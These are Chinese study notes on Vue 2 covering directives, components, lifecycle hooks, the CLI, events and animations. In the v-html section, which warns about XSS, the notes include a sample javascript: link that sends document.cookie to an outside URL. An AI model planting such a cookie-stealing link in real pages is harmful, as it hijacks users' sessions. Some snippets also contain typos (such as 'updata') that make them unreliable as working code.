| <div id="root"> <form action="" @submit.prevent="demo"> 账号:<input type="text" v-model.trim="account"><br><br> 密码:<input type="password" v-model="password"><br><br> 年龄:<input type="text" v-model.number="age"><br><br> 性别:<br><br> 男: <input type="radio" name="sex" v-model="sex" value="male"> 女: <input type="radio" name="sex" v-model="sex" value="female"><br><br> 爱好: <br><br> 学习: <input type="checkbox" value="study" v-model="hobby"> 打游戏: <input type="checkbox" value="game" v-model="hobby"> 吃饭: <input type="checkbox" value="eat" v-model="hobby"><br><br> 所属校区: <select v-model="city"> <option value="">请选择校区</option> <option value="beijing">北京</option> <option value="shanghai">上海</option> <option value="shenzhen">深圳</option> <option value="wuhan">武汉</option> </select><br><br> 其他信息: <textarea v-model.lazy="other"></textarea><br><br> <input type="checkbox" v-model="agree">阅读并接收协议: <a href="">用户协议</a><br><br>
<button>提交</button>
</form> </div> <script> Vue.config.productionTip = false; const vm = new Vue({ el: '#root', data() { return { account: "", password: "", age: '', sex: 'male', hobby: [], city: '', other: '', agree: '' } }, methods: { demo() { console.log(JSON.stringify(this._data)); } }, }) </script>
|
过滤器
定义:
对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)
语法:
- 注册过滤器:
Vue.filter(name,callback)
全局过滤器
new Vue{filters:{}}
局部过滤器
备注:
- 过滤器也可以接收额外参数,多个过滤器也可以串联
- 并没有改变原本的数据,是产生新的对应数据
- 过滤器可以应用在插值语法中,也可以在v-bind中使用
使用到第三方插件dayjs
<script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.11.3/dayjs.min.js"></script>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| <div id="root"> <h2>显示格式化后的时间</h2> <h3>现在是:{{fmtTime}}</h3> <h3>现在是:{{getFmtTime()}}</h3> <h3>现在是:{{time | timeForMater}}</h3> <h3>现在是:{{time | timeForMater('YYYY_MM_DD')}}</h3> <h3>现在是:{{time | timeForMater('YYYY_MM_DD') | mySlice}}</h3> <h3 :x="msg | mySlice">FOund</h3> </div> <script> Vue.config.productionTip = false; Vue.filter('mySlice', function(value) { return value.slice(0, 4); }); new Vue({ el: "#root", data() { return { time: 16215645213, msg: '你好世界123' } }, computed: { fmtTime() { return dayjs(this.time).format('YYYY年MM月DD日HH:mm:ss'); } }, methods: { getFmtTime() { return dayjs(this.time).format('YYYY年MM月DD日HH:mm:ss'); } }, filters: { timeForMater(value, str = 'YYYY年MM月DD日HH:mm:ss') { return dayjs(value).format(str); }, mySlice(value) { return value.slice(0, 4) } } }) </script>
|
内置指令/自定义指令
回顾
v-bind:
单向绑定解析表达式,可简写为:xxx
v-model:
双向数据绑定
v-for:
遍历数组、对象、字符串
v-on:
绑定事件监听,可简写为@
v-if:
条件渲染(动态控制节点是否存在)
v-else:
条件渲染(动态控制节点是否存在)
v-show:
条件渲染(动态控制节点是否展示)
v-text
- 作用:向其所在的节点中渲染文本内容
- 与插值语法的区别:v-text会替换掉节点中的内容,则不会
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <div id="root"> <h2>{{name}}</h2> <h2 v-text="name"></h2> <h2 v-text="str"></h2> </div> <script> Vue.config.productionTip = false; new Vue({ el: '#root', data() { return { name: 'FOund', str: '<h3>404</h3>' } }, }) </script>
|
v-html
- 作用:向指定节点中渲染包含html结构的内容
- 与插值语法的区别:
- v-html会替换掉节点中所有内容,则不会
- v-html可以识别html结构
- 严重注意:v-html有安全性问题!!!
- 在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击
- 一定要在可信的内容上使用v-html,永远不要在用户提交的内容上!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <div id="root"> <h2>{{name}}</h2> <h2 v-text="name"></h2> <h2 v-html="str"></h2> <h2 v-html="str2"></h2> </div> <script> Vue.config.productionTip = false; new Vue({ el: '#root', data() { return { name: 'FOund', str: '<h3>404</h3>', str2: '<a href=javaScript:location.href="http://www.baidu.com?"+document.cookie>点我跳转</a>', } }, }) </script>
|
v-cloak
- 本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性
- 使用css配合v-cloak可以解决网速慢时页面展示的问题
1 2 3 4
| [v-cloak] { display: none; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <div id="root"> <h2 v-cloak>{{name}}</h2> </div> <script> Vue.config.productionTip = false; new Vue({ el: '#root', data() { return { name: 'FOund', } }, }) </script>
|
v-once
v-once
所在节点在初次动态选然后,就视为动态内容了。
- 以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <div id="root"> <h2 v-once>初始化的n值:{{n}}</h2> <h2>当前的n值:{{n}}</h2> <button @click="n++">点我n+1</button> </div> <script> Vue.config.productionTip = false; new Vue({ el: '#root', data() { return { n: 0 } }, }) </script>
|
v-pre
- 跳过其所在节点的编译过程
- 可利用它跳过:没有使用指令语法,没有使用插值语法的节点,会加快编译
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <div id="root"> <h2 v-pre>Vue其实很简单</h2> <h2>当前的n值:{{n}}</h2> <button @click="n++">点我n+1</button> </div> <script> Vue.config.productionTip = false; new Vue({ el: '#root', data() { return { n: 0 } }, }) </script>
|
自定义指令
directives
配置项中存放自定义指令
1 2 3 4 5 6 7 8 9 10
|
<div id="root"> <h2>当前n值是:<span v-text="n"></span></h2> <h2>放大10倍后:<span v-big="n"></span></h2> <button @click="n++">点我n++</button> <br> <br> <input type="text" v-fbind:value="n"> </div>
|
1.定义语法
(1)局部指令
函数写法:
big函数何时被调用?
- 指令与元素成功绑定时
- 指令所在的模板被重新解析时
更加注重细节
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| directive: { big(element, binfing) { element.innerText = binfing.value * 10; console.log(element, binfing); }, }
|
对象写法:
其实就是函数写法中bind和updata的结合
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| fbind: { bind(element, binding) { element.value = binding.value; }, inserted(element, binding) { element.focus(); }, updata(element, binding) { element.value = binding.value; } }
|
(2)全局指令
函数写法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| Vue.directives('fbind', { bind(element, binding) { element.value = binding.value; }, inserted(element, binding) { element.focus(); }, updata(element, binding) { element.value = binding.value; } });
|
对象写法:
1 2 3 4 5 6 7
| Vue.directives('fbind', function(element, binfing) { element.innerText = binfing.value * 10; console.log(element, binfing); });
|
2.配置对象中常用的3个回调
(“参数1[被绑定的元素]”,”参数2[冒号后面被绑定的属性]”)
- .bind: 指令与元素成功绑定时调用
- .inserted: 指令所在元素被插入页面时调用
- .update: 指令所在模板结构被重新解析时调用

3.备注
- 指令定义时不加v-,但使用时要加v-
- 指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名
1 2 3 4 5
| 'big-number' (element, binfing) {
element.innerText = binfing.value * 10; console.log(element, binfing.value); },
|
生命周期
mounted配置项
- 又名:生命周期回调函数,生命周期函数,生命周期钩子
- 是什么:Vue在关键时刻帮我们调用一些特殊名称的函数
- 生命周期函数的名字不可以更改,但函数的具体内容是程序员根据需求编写的
- 生命周期函数中的this指向是vm 或 组件实例对象
下面的例子是让h2执行一个动画,从透明度1到0。有两种写法,第一种是将定时器写在vue外面,第二种就是使用到了mounted。当Vue完成模板解析并把初始的真实DOM元素放入页面后(挂载完毕)再调用mounted内的代码。
注意:
- mounted方法之前是存在其他方法的,之后也有。Vue在特定的情况下调用这些方法的行为被称为生命周期钩子
- 把初始的真实DOM元素放入页面叫做挂载,另外注意是第一次把真实DOM放进页面,并不是更新DOM。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| <div id="root"> <h2 v-if="a">001</h2> <h2 :style="{opacity}">Hello world</h2> </div> <script> Vue.config.productionTip = false;
const vm = new Vue({ el: '#root', data() { return { opacity: 1, a: false } }, methods: {
}, mounted() { console.log('mounted'); setInterval(() => { vm.opacity -= 0.01; if (vm.opacity <= 0) { vm.opacity = 1; } }, 16); }, }); </script>
|
分析生命周期
[生命周期图解](https://www.yuque.com/docs/share/65187e9f-fbd4-450c-a4f0-0a2bb69b84a7?# 《Vue生命周期》)
常用生命周期钩子:
- mounted:发送ajax请求,启动定时器,绑定自定义事件,订阅消息等【初始化操作】
- beforeDestroy:清除定时器,解绑自定义事件,取消订阅消息等【收尾工作】
关于销毁Vue实例:
- 销毁后借助Vue开发者工具看不见任何信息
- 销毁后自定义事件会失效,但原生DOM事件依然有效
- 一般不会再beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85
| <div id="root"> <h2>当前的n值是:{{n}}</h2> <button @click="add">点我n++</button> <button @click="bye">点我销毁vm</button> </div> <script> Vue.config.productionTip = false; const vm = new Vue({ el: '#root', data() { return { n: 1 } }, methods: { add() { this.n++; }, bye() { console.log('bye'); this.$destroy(); } }, beforeCreate() { console.log('beforeCreate'); console.log(this); }, created() { console.log('created'); console.log(this); }, beforeMount() { console.log('beforeMount'); }, mounted() { console.log('beforeMount'); }, beforeUpdate() { console.log('beforeUpdate'); console.log(this.n); }, updated() { console.log('updated'); console.log(this.n); }, beforeDestroy() { console.log('beforeDestroy'); console.log(this.n); }, destroyed() { console.log('destroyed'); }, }); </script>
|
Vue组件化编程
传统方式编写应用:
存在问题:
- 依赖关系混乱,不好维护
- 代码复用率不高

使用组件编写应用:

非单文件组件
一个文件中包含n个组件
组件基本使用
1.定义组件
使用Vue.extend(options)创建,其中options和new Vue(options)时传入的那个options几乎一样,但是区别如下:
- el不写,为什么?
- 最终所有的组件都要经过一个vm的管理,由vm中的el决定服务哪个容器
- data必须写成函数,为什么?
备注:使用template可以配置组件结构
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
|
const school = Vue.extend({ template: ` <div> <h2>学校名称:{{schoolName}}</h2> <h2>学校地址:{{address}}</h2> </div> `, data() { return { schoolName: 'zhiyou', address: '郑州', } }, });
const student = Vue.extend({ template: ` <div> <h2>学生名称:{{studentName}}</h2> <h2>学生年龄:{{age}}</h2> <button>点击</button> </div> `, data() { return { studentName: 'FOund', age: 20 } }, });
const hello = Vue.extend({ template: ` <h2>Hello {{name}}</h2> `, data() { return { name: 'FOund', } }, });
|
2.注册组件
- 局部注册:
- 靠new Vue的时候传入components选项
- 全局注册:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| Vue.component('hello', hello);
new Vue({ el: '#root', data() { return { msg: '你好啊' } }, components: { schoolAssembly: school, student } })
|
3.编写组件标签
1 2 3 4 5 6 7
| <div id="root"> <hello></hello> <school-assembly></school-assembly> <hr> <student></student> </div>
|
组件几个注意点
组件命名规范
一个单词组成
- 第一种写法 (首字母小写):my-school
- 第二种写法(首字母大写):School
多个单词组成
- 第一种写法(kebab-case命名):my-school
- 第二种写法(CamelCase命名):MySchool(需要使用Vue脚手架支持)
备注
- 组件名尽可能回避HTML中已有的元素名称,例如:h2,H2都不行。
- 可以使用name配置项指定组件在开发者工具中呈现的名字。
在创建组件中添加配置项name:''
可以更改组件在开发者工具中呈现的名字
一般在第三方组件库或者大型项目会这样使用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| const school = Vue.extend({ name: 'xvexiao', template: ` <div> <h2>学校名称:{{schoolName}}</h2> <h2>学校地址:{{address}}</h2> </div> `, data() { return { schoolName: 'zhiyou', address: '郑州', } }, });
|
关于组件标签
第一种写法:<school></school>
第二中写法:<school/>
备注:不使用脚手架时,<school/>
会导致后续组件不能渲染
一个简写方式
const school = Vue.extend(options)
可以简写为:const school = options
看似创建的组件是一个对象形式,但是Vue在后台有一个判断,实际上还是调用了Vue.extend(options)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| const student = { template: ` <div> <h2>学生名称:{{studentName}}</h2> <h2>学生年龄:{{age}}</h2> <button>点击</button> </div> `, data() { return { studentName: 'FOund', age: 20 } }, };
|
组件的嵌套
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
| <div id="root">
</div> <script> Vue.config.productionTip = false;
// 定义school组件 const student = Vue.extend({ template: ` <div> <h2>学生:{{name}}</h2> <h2>年龄:{{age}}</h2> </div> `, data() { return { name: 'FOund', age: 18 } } });
// 定义school组件 const school = Vue.extend({ template: ` <div> <h2>名:{{name}}</h2> <h2>{{address}}</h2> <student></student> </div> `, data() { return { name: 'FOund', address: 'zz' } }, // 注册组件(局部) components: { student } });
// 定义hello组件 const hello = Vue.extend({ template: ` <div> <h2>Hello {{name}}</h2> </div> `, data() { return { name: 'FOund', } }, });
// 定义app组件 const app = Vue.extend({ template: ` <div> <hello></hello> <school></school> </div> `, components: { school, hello } });
new Vue({ template: `<app></app>`, el: '#root', // 注册组件(局部) components: { app } }) </script>
|
关于VueComponent
- school组件本质上是一个名为VueComponent的构造函数,且不是程序员定义的,是Vue.extend生成的。
- 我们只需要写
<school>
或<school></school>
,Vue解析时会帮我们创建school组件的实例对象即Vue帮我们执行的:new VueComponent(options)
- 特别注意:每次调用Vue.extend。返回的都是一个全新的VueComponent!!!
- 关于this指向:
- 组件配置中:
- data函数,methods中的函数,watch中的函数,computed中的函数,他们的this均是【VueComponent实例对象】
- new Vue(options)配置中:
- data函数,methods中的函数,watch中的函数,computed中的函数,他们的this均是【Vue实例对象】
- VueComponent的实例对象,以后简称vc(也可称为:组件实例对象)
一个重要的内置关系
- 一个重要的内置关系:
VueComponent.prototype.__proto__===Vue.prototype
- 为什么要有这个关系:让组件实例对象(vc)可以访问到Vue原型上的属性,方法

单文件组件
一个文件中只有一个组件(一个.vue就代表一个组件)
1.编写最基本的School组件
创建School.vue
文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| <!-- 组件的结构 --> <template> <div class="demo"> <h2>学校名称:{{schoolName}}</h2> <h2>学校地址:{{address}}</h2> <h2>{{n}}</h2> <button @click="add">点我n++</button> </div> </template>
<!-- 组件交互相关的代码(数据,方法,等等) --> <script> // 暴露第二种写法 export default { name:'School', data() { return { schoolName: 'zhiyou', address: '郑州', n:0 } }, methods: { add(){ n++; } }, }; // 暴露第一种写法 // export default {school}; </script>
<!-- 组件的样式 --> <style> .demo{ background-color: orange; } </style>
|
2.编写APP操控组件
新建App.vue
文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <template> <div> <School></School> </div> </template>
<script> import School from './School.vue'; export default { name:'App', components:{ School, } }
</script>
<style>
</style>
|
3.编写入口文件
新建main.js
入口文件
1 2 3 4 5 6 7 8
| import App from './App.vue'; new Vue({ el: '#root', components: { App }, })
|
4.新建html文件
新建index.html
文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <!DOCTYPE html> <html lang="en">
<head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> </head> <body> <div id="root"> <App></App> </div> <script src="../js/vue.js"></script> <script src="./main.js"></script> </body> </html>
|
Vue CLI
脚手架配置
说明
- Vue脚手架是Vue官方提供的标准化开发工具(开发平台)
- 最新的版本是4.x
- 官方文档
- 全局安装
npm install -g @vue/cli
- 执行命令
npm run serve
启动vue

介绍
- babel.config文件跟webpack有关,检查语法和语法转换
- package-lock跟npm包管理有关,主要放一些npm的相关信息
- package记录第三方npm包的版本信息,
"scripts"
属性下存放着指令的详细配置
- src文件
- assets中存放一些静态资源文件
- components文件存放组件
- App.vue 是管理组件的老大
- main.js 入口文件
- public文件
- favicon.ico 页面页签logo
- index.html 主要页面
关于main中的render
render的使用实际上就是Vue引入的问题,脚手架中引入的是精简化过的Vuevue.runtime.js
vue.js与vue.runtime.xxx.js的区别
- vue.js是完整版的Vue,包含:核心功能+模板解析器
- vue.runtime.xxx.js是运行版的Vue,只包含:核心功能:没有模板解析器
因为vue.runtime.xxx.js没有模板解析器,所以不能使用template配置项,需要使用render函数接收到createElement函数去指定具体内容
1 2 3 4 5 6 7 8
| new Vue({ render: h => h(App), }).$mount('#app')
|
修改默认配置
vue脚手架默认隐藏了所有webpack相关的配置,若想要查看具体的webpack配置,
请执行:vue inspect > output.js
会生成一个vue.config.js
文件
通过查看文档来定制你的vue相关配置
示例:
1 2 3 4 5 6 7 8 9 10
| module.exports = { pages: { index: { entry: 'src/main.js', }, }, lintOnSave: false, };
|
平时练习建议关闭语法检查避免不必要的报错
关于不同版本的Vue
- Vue.js与vue.runtime.xxx.js的区别
- vue.js是完整的Vue,包含:核心功能+模板解析器
- vue.runtime.xxx.js试运行版的Vue,只包含:核心功能:没有模板解析器
- 因为vue.runtime.xxx.js没有模板解析器,所以不能使用template配置项,需要使用render函数接收到createElement函数去指定具体内容
ref属性
简单来说就是获取元素
- 被用来给元索或子组件注册引用信息 (id的替代者)
- 应用在html标签上获取的是真实DOM元素,应用在组件标签上是组件实例对象(vc)
- 使用方式:
- 打标识:
<h1 ref="xx">.....</h1>
或<School ref="xxx" ></School>
获取: this. $refs. xxx
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| <template> <div> <h1 v-text="msg" ref="title"></h1> <button @click="showDom" ref="btn">点我输出上方的DOM元素</button> <School ref="sch"/> <School id="sch"/> </div> </template>
<script> // 引入school组件 import School from "./components/School.vue"
export default { name:'App', components:{School}, data() { return { msg:'欢迎' } }, methods:{ showDom(){ // 获取具有ref标签标注的标签 console.log(this.$refs); console.log(this.$refs.title);//真实dom元素 console.log(this.$refs.btn);//真实dom元素 console.log(this.$refs.sch);//School组件的实例对象(vc)
} } } </script>
|
配置项props
功能:让组件接收外部传过来的数据
1.传递数据
<Demo name="xxx" />
通过在标签上添加属性来传递数据
1 2 3 4 5 6
| <template> <div> <Student name="李四" sex="女" :age="18" /> <Student name="王老五" sex="男" :age="100" /> </div> </template>
|
2.接收数据
第一种方式(只接收)
简单声明接受(开发中写得多)
1
| props:['name','sex','age']
|
第二种方式(限制类型)
接收的同时对数据进行类型限制
1 2 3 4 5
| props:{ name:String, age:Number, sex:String }
|
第三种方式(限制类型,限制必要性,指定默认值)
接收的同时对数据进行类型限制+默认值的指定+必要性的限制(正规的开发)
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| props:{ name:{ type:String, required:true, }, age:{ type:Number, default:99 }, sex:{ type:String, required:true } }
|
备注:
props是只读的,Vue底层会监测你对props的修改,如果进行了修改,就会发出警告,若业务需求确实需要修改,那么请复制props的内容到data中一份,然后去修改data中的数据
在data数据中添加新的数据:
其实是创建了一个新的数据放到_data中变成可修改的
1 2 3 4 5 6
| data() { return { msg:'你好', myAge:this.age } },
|
mixin混入(混合)
可以把多个组件共用的配置提取成一个混入对象
使用方法:
新建文件minin.js
,定义公用配置并暴露出去
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| export const mixin = { methods: { showName() { alert(this.name); } }, mounted() { console.log('你好啊'); }, }
export const mixin2 = { data() { return { x: 100, y: 200 } }, }
|
在你需要的组件中引入这个公用配置
1 2
| import { mixin,mixin2 } from './mixin'
|
添加配置项mixins
此时引入公用配置项的组件都有了公共配置项mixin.js
全局混入:
1 2 3 4
| import {mixin1,mixin2} from './mixin.js'
Vue.mixin(mixin1); Vue.mixin(mixin2);
|
- 时所有的组件都有了公共配置项,不管是App还是App里面的子组件
- 但是当单个组件中存在已有的重复的配置,优先使用
Vue插件
功能:用于增强Vue
本质:包含install方法的一个对象,install的第一个参数是Vue,第二个以后的参数是插件使用者传递的数据
定义插件
新建一个文件夹plugins.js
脚本文件,注意将数据暴露出去
- 添加全局过滤器
- 添加全局指令
- 配置全局混入
- 添加实例方法(在Vue原型上添加公共方法、属性)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| export default { install(Vue) { Vue.filter('mySlice', function(value) { return value.slice(0, 4); }); Vue.directive('fbind', { bind(element, binding) { element.value = binding.value; }, inserted(element, binding) { element.focus(); }, updata(element, binding) { element.value = binding.value; } }); Vue.mixin({ data() { return { x: 100, y: 200 } }, }) Vue.prototype.hello = () => { alert('你好啊!') } } }
|
使用插件
1 2 3 4 5
| import plugins from "./plugins";
Vue.use(plugins);
|
scoped样式
不同组件之间添加样式可能会造成类名等冲突,scoped出现就避免了这类问题
1 2 3 4 5 6
| <style scoped lang="css"> .demo{ background-color: skyblue; } </style>
|
uuid
nanid
实现子组件向父组件传递数据
通常情况下组件之间的传递数据通过props可实现,但是仅限于父组件向子组件传递数据,而兄弟组件之间也无法进行传递
解决思路
- 在父组件例如App上添加一个可以传参方法
- 将这个方法传递给子组件
- 子组件接收到这个方法,并使用这个方法将数据当作实参传入进去
- 这时,父组件就会接收到子组件传递过来的数据
app.vue
1 2 3 4 5 6
| methods: { addTodo(x){ this.todos.unshift(x); } },
|
1 2
| // 将这个方法传递给myHeader子组件 <myHeader :addTodo="addTodo" />
|
myHeader.vue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| props:['addTodo'], methods:{ add(e){ if (!e.target.value.trim()) { return alert('输入不能为空'); } const todoObj={ id:nanoid(), title:e.target.value, done:false }; e.target.value=''; this.addTodo(todoObj); } }
|
组件自定义事件
事件绑定
需求:点击子组件中的btn将子组件的数据传递给App
- 思路1:通过父组件给子组件传递函数类型的props实现:子给父传递数据*(与上文一样)*
- 思路2:通过父组件给子组件绑定自定义事件实现:子给父传递数据*(第一种写法:使用@或者v-on)*
- 思路3:通过ref获取到这个组件*(第二种写法:使用ref)*
App.vue添加事件:
1 2 3 4 5 6 7 8
| methods: { getSchoolNane(name){ console.log('app收到学校名',name); }, getStudentNane(name){ console.log('app收到学生名',name); } },
|
事件触发的方法要写在被绑定者身上
Student.vue添加方法:
$emit(“事件”,[传递的参数]) 触发组件实例对象身上的事件
- 传递的参数可以是多个不唯一,但是接收也要有形参接收
1 2 3 4 5 6 7
| methods: { sendStudentName(){ this.$emit('found',this.name) } },
|
思路2:
跟内置事件一样,也可以写事件修饰符,例如触发一次的.once
1 2 3 4
| <Student v-on:found="getStudentNane"/>
<Student @found="getStudentNane"/>
|
**思路3:**(更灵活)
通过ref可以获取到这个组件,然后在mounted
挂载完毕生命周期执行这个自定义事件
1 2
| <Student ref="student"/>
|
1 2 3 4 5
| mounted() { this.$refs.student.$on('found',this.getStudentNane) },
|
事件解绑
两种解绑事件的方法,一种是通过$off()
,一种是通过$destroy()
$off()
仅仅解绑事件
$destroy()
销毁当前组件实例,就连vm也可以销毁
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| methods: { Unbind(){ this.$off('found');
}, death(){ this.$destroy(); } },
|
总结
自定义事件是一种组件间通信的方式,适用于:子组件===>父组件
使用场景:A是父组件,B是子组件,B想给A传数据,那就要在A中给B绑定自定义事件(事件的回调在A中)
绑定自定义事件:
第一种,在父组件中:<Demo @found="found"/>
或<Demo v-on:"found"/>
第二种,在父组件中:
1 2 3 4 5
| <Demo ref="demo"> ...... mounted(){ this.$refs.xxx.$on('found',this.test) }
|
若想让自定义事件之触发一次,可以使用once
修饰符,或者$once
方法
触发自定义事件:this.$emit('found',数据)
解绑自定义事件:this.$off('found')
组件上也可以绑定原生DOM事件,需要使用native
修饰符
<Student ref="student" @click.native="show"/>
注意:通过this.$refs.xxx.$on('found',回调)
绑定自定义事件时,回调要么配置在methods中,要么用箭头函数,否则this指向会出问题
全局实现总线(GlobalEventBus)
一种组件间通信的方式,适用于任意组件间通信
本质上还是绑定自定义事件和触发
安装全局事件总线:
1 2 3 4 5 6 7 8
| new Vue({ el: "#app", render: h => h(App), beforeCreate() { Vue.prototype.$bus = this; } })
|
使用事件总线:
- 发送数据,在发送数据组件上添加触发自定义事件的方法
1 2 3 4 5 6
| methods: { sentStudentName(){ this.$bus.$emit('hello',this.name) } },
|
- 接收数据,接收数据的组件则在公共$bus组件身上绑定自定义事件,同时,在销毁组件之前要解绑事件
1 2 3 4 5 6 7 8 9 10
| mounted(){ this.$bus.$on('hello',(data)=>{ console.log('我是school组件,收到了名字',data); }) },
beforeDestroy(){ this.$bus.$off('hello') }
|
消息订阅与发布
使用到第三方包pubsub-js
一种组件间通信的方式,适用于任意组件间通信
使用步骤:
- 安装pubsub:
npm i pubsub-js
- 引入:
import pubsub from 'pubsub-js'
- 接收数据:A组件想接收数据,则在A组件中订阅消息,订阅的回调留在A组件自身
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| mounted(){ this.pubid = pubsub.subscribe('hello',(msgName,data)=>{ console.log('有人发布了hello消息,hello消息的回调执行了'); console.log(msgName,data); }) },
beforeDestroy(){ pubsub.unsubscribe(this.pubid)
}
|
- 提供数据:
pubsub.publish('xxx',数据)
1 2 3 4 5 6
| methods: { sentStudentName(){ pubsub.publish('hello',666) } },
|
- 最好在beforeDestroy钩子中,用
pubsub.unsubscribe(this.pubid)
去取消订阅
注意:
- pubsub.subscribe中的普通函数this指向undefined,需要使用到箭头函数指向到组件本身
- pubsub.subscribe会返回一个类似“id”一样的识别,要想取消订阅,需要将此“id”添加到组件上,再通过
pubsub.unsubscribe(this.pubid)
取消订阅,类似于定时器取消
nextTick生命周期钩子
- 语法:
this.$nextTick(回调函数)
- 作用:在下一次DOM更新结束后执行其指定的回调
- 什么时候用:当改变数据后,要基于更新后的新DOM进行某些操作时,要在nextTick所指定的回调函数中执行
Vue动画(含animate.css)
所用:在插入,更新或移除DOM元素时,在合适的时候给元素添加样式类名
图示:

vue内置
写法1:
使用@keyframes动画写
定义进入动画和离开动画使用
- .hello-enter-active 进入
- .hello-leave-active 离开
- 注意:‘hello’ 为自定义name,默认为 v
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| h1{ background-color: orange; }
.hello-enter-active{ animation: shoW 1s;
} .hello-leave-active{ animation: shoW 1s reverse; }
@keyframes shoW { from{ transform: translateX(-100%); } to{ transform: translateX(0px); } }
|
- 使用
<transition></transition>
标签包裹
- 添加name加以识别默认为v
- 添加appear表示加载页面前执行一次进入动画
1 2 3 4 5 6
| <div> <button @click="isShow = !isShow">显示/隐藏</button> <transition name="hello" appear> <h1 v-show="isShow">你好啊</h1> </transition> </div>
|
data内添加数据isShow来控制动画的显示与隐藏
写法2
使用过渡来写
- 分别写出进入、离开的起点和终点
- 将过渡属性
transition
添加给执行动画者身上
- 此处有个bug,添加到执行动画者身上,位置会错乱
- 添加给
.hello-enter-active,.hello-leave-active
类名即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| h1{ background-color: orange; }
.hello-enter{ transform: translateX(-100%); }
.hello-enter-to{ transform: translateX(0); }
.hello-enter-active,.hello-leave-active{ transition: all 0.5s ease; }
.hello-leave{ transform: translateX(0); }
.hello-leave-to{ transform: translateX(-100%); }
|
模板部分
1 2 3 4 5 6 7
| <div> <button @click="isShow = !isShow">显示/隐藏</button> <transition-group name="hello" appear> <h1 v-show="isShow" key="1">你好啊</h1> <h1 v-show="isShow" key="2">FOUND</h1> </transition-group> </div>
|
animate.css
官网aninate.css
- 安装
npm install animate.css --save
- 引入
import 'animate.css';
- 为
<transition-group>
添加属性
name="animate__animated animate__bounce"
必要属性
- enter-active-class 进入属性
- leave-active-class 离开属性
1 2 3 4 5 6 7 8 9 10 11 12
| <div> <button @click="isShow = !isShow">显示/隐藏</button> <transition-group appear name="animate__animated animate__bounce" enter-active-class="animate__swing" leave-active-class="animate__backOutDown" > <h1 v-show="isShow" key="1">你好啊</h1> <h1 v-show="isShow" key="2">FOUND</h1> </transition-group> </div>
|
Vue中的AJAX
vue脚手架配置代理
方法一
在vue.config.js中添加如下配置
1 2 3 4
| devServer: { proxy: 'http://localhost:5000' }
|
说明:
- 有点:配置简单,请求资源时直接发给前端(8080)即可
- 缺点:不能配置多个代理,不能灵活的控制请求是否走代理
- 工作方式:若按照上述配置代理,当请求了前端不存在的资源时,那么该请求会转发给服务器(优先匹配前端资源)
方法二
编写vue.config.js配置具体代理规则:
devServer对象中的proxy可以写多个代理服务器
配置:
- pathRewrite: { ‘^/api’: ‘’ } 表示代理服务器向服务器请求数据时将 前缀 变为空
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| devServer: { proxy: { '/api': { target: 'http://localhost:5000', ws: true,
pathRewrite: { '^/api': '' } },
'/foo': { target: 'http://localhost:5001', pathRewrite: { '^/foo': '' } } } }
|
说明:
- 优点:可以配置多个代理,且可以灵活的控制请求是否走代理
- 缺点:配置略微繁琐,请求资源时必须加前缀
Vue-resource
vue1.0使用较多
安装:
配置:
